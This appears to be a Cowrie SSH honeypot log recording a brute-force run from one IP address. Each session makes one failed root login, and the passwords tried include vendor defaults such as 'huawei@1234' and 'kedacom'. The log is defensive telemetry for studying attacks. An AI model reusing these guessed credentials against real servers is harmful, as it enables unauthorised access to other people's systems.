{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:46.796593Z","src_ip":"60.165.124.241","session":"2cb8904a4b8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mWv5mDY4xClc","message":"login attempt [root/mWv5mDY4xClc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:47.538859Z","src_ip":"60.165.124.241","session":"2cb8904a4b8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:48.789633Z","src_ip":"60.165.124.241","session":"2cb8904a4b8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53996,"dst_ip":"10.17.0.5","dst_port":22,"session":"a365b5a66aa8","protocol":"ssh","message":"New connection: 60.165.124.241:53996 (10.17.0.5:22) [session: a365b5a66aa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:49.017279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:49.021643Z","src_ip":"60.165.124.241","session":"a365b5a66aa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:49.261960Z","src_ip":"60.165.124.241","session":"a365b5a66aa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"edbdso2020","message":"login attempt [root/edbdso2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:49.971908Z","src_ip":"60.165.124.241","session":"a365b5a66aa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:51.208764Z","src_ip":"60.165.124.241","session":"a365b5a66aa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57262,"dst_ip":"10.17.0.5","dst_port":22,"session":"6027ccdd08ae","protocol":"ssh","message":"New connection: 60.165.124.241:57262 (10.17.0.5:22) [session: 6027ccdd08ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:51.446490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:51.454699Z","src_ip":"60.165.124.241","session":"6027ccdd08ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:51.692673Z","src_ip":"60.165.124.241","session":"6027ccdd08ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123520","message":"login attempt [root/123520] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:52.416251Z","src_ip":"60.165.124.241","session":"6027ccdd08ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:53.657864Z","src_ip":"60.165.124.241","session":"6027ccdd08ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59904,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8695577d0a2","protocol":"ssh","message":"New connection: 60.165.124.241:59904 (10.17.0.5:22) [session: c8695577d0a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:53.913930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:53.919757Z","src_ip":"60.165.124.241","session":"c8695577d0a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:54.169132Z","src_ip":"60.165.124.241","session":"c8695577d0a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"TeMpPaSsMeTiN2","message":"login attempt [root/TeMpPaSsMeTiN2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:54.919602Z","src_ip":"60.165.124.241","session":"c8695577d0a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:56.171184Z","src_ip":"60.165.124.241","session":"c8695577d0a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34746,"dst_ip":"10.17.0.5","dst_port":22,"session":"952aacaa1fa0","protocol":"ssh","message":"New connection: 60.165.124.241:34746 (10.17.0.5:22) [session: 952aacaa1fa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:56.392858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:56.403349Z","src_ip":"60.165.124.241","session":"952aacaa1fa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:56.641067Z","src_ip":"60.165.124.241","session":"952aacaa1fa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@1234","message":"login attempt [root/huawei@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:57.361916Z","src_ip":"60.165.124.241","session":"952aacaa1fa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:58.608325Z","src_ip":"60.165.124.241","session":"952aacaa1fa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37734,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6c9c7634b3d","protocol":"ssh","message":"New connection: 60.165.124.241:37734 (10.17.0.5:22) [session: d6c9c7634b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:58.844877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:58.849286Z","src_ip":"60.165.124.241","session":"d6c9c7634b3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:59.091910Z","src_ip":"60.165.124.241","session":"d6c9c7634b3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345687","message":"login attempt [root/12345687] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:59.840771Z","src_ip":"60.165.124.241","session":"d6c9c7634b3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:01.091673Z","src_ip":"60.165.124.241","session":"d6c9c7634b3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40460,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1aa80e8cb2c","protocol":"ssh","message":"New connection: 60.165.124.241:40460 (10.17.0.5:22) [session: f1aa80e8cb2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:01.337286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:01.342858Z","src_ip":"60.165.124.241","session":"f1aa80e8cb2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:01.602259Z","src_ip":"60.165.124.241","session":"f1aa80e8cb2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kedacom","message":"login attempt [root/kedacom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:02.377149Z","src_ip":"60.165.124.241","session":"f1aa80e8cb2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:03.625362Z","src_ip":"60.165.124.241","session":"f1aa80e8cb2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43692,"dst_ip":"10.17.0.5","dst_port":22,"session":"115c2ad69aee","protocol":"ssh","message":"New connection: 60.165.124.241:43692 (10.17.0.5:22) [session: 115c2ad69aee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:03.890917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:03.897680Z","src_ip":"60.165.124.241","session":"115c2ad69aee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:04.149710Z","src_ip":"60.165.124.241","session":"115c2ad69aee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"heinz57","message":"login attempt [root/heinz57] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:04.909137Z","src_ip":"60.165.124.241","session":"115c2ad69aee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:06.164620Z","src_ip":"60.165.124.241","session":"115c2ad69aee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46586,"dst_ip":"10.17.0.5","dst_port":22,"session":"df721541c59f","protocol":"ssh","message":"New connection: 60.165.124.241:46586 (10.17.0.5:22) [session: df721541c59f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:06.425400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:06.434445Z","src_ip":"60.165.124.241","session":"df721541c59f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:06.691931Z","src_ip":"60.165.124.241","session":"df721541c59f","protocol":"ssh"}
